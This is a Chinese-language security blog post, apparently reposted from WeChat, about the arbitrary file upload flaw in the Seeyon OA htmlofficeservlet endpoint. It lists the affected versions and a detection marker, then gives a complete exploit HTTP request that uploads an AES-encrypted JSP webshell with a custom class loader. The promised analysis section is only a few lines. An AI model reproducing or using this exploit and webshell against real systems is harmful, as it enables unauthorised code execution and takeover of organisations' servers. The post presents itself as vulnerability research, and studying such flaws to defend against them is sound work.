致远OA漏洞分析
htmlofficeservlet接口任意文件上传漏洞
漏洞背景
该漏洞于2019年HW期间被捕捉到,现在基本没有这个漏洞的网站了。但还是可以分析一下来巩固历史漏洞,并且可以举一反三的去寻找其他漏洞。
影响版本
-
致远OA A8-V5 V6.1 SP1
-
致远OA A8+协同管理软件 V7.0
-
致远OA A8+协同管理软件 V7.0 SP1
-
致远OA A8+协同管理软件 V7.0 SP2
-
致远OA A8+协同管理软件 V7.0 SP3
-
致远OA A8+协同管理软件 V7.1
漏洞点
/seeyon/htmlofficeservlet
如返回
DBSTEP V3.0
可以作为特征进行判断是否存在漏洞。
注意:如果漏洞修复过,访问此接口也是会存在如图的字样。
漏洞EXP
POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1116
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 192.168.91.13
Pragma: no-cache
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdqfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATXyaxvdHOdN1l0d4K5nHzs
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>6e4f045d4b8506bf492ada7e3390d7ce
如成功利用可以通过判断文件是否存在,或者DBSTEP等字样进行判断。
漏洞分析
首先我们需要找到这个接口在哪个包的类里面去实现的。
web.xml中定义了这个servlet接口具体在哪里
直接按住command并且点击就可以进入该类
全部路径在
原文始发于微信公众号(渝安服):致远OA漏洞分析htmlofficeservlet接口任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论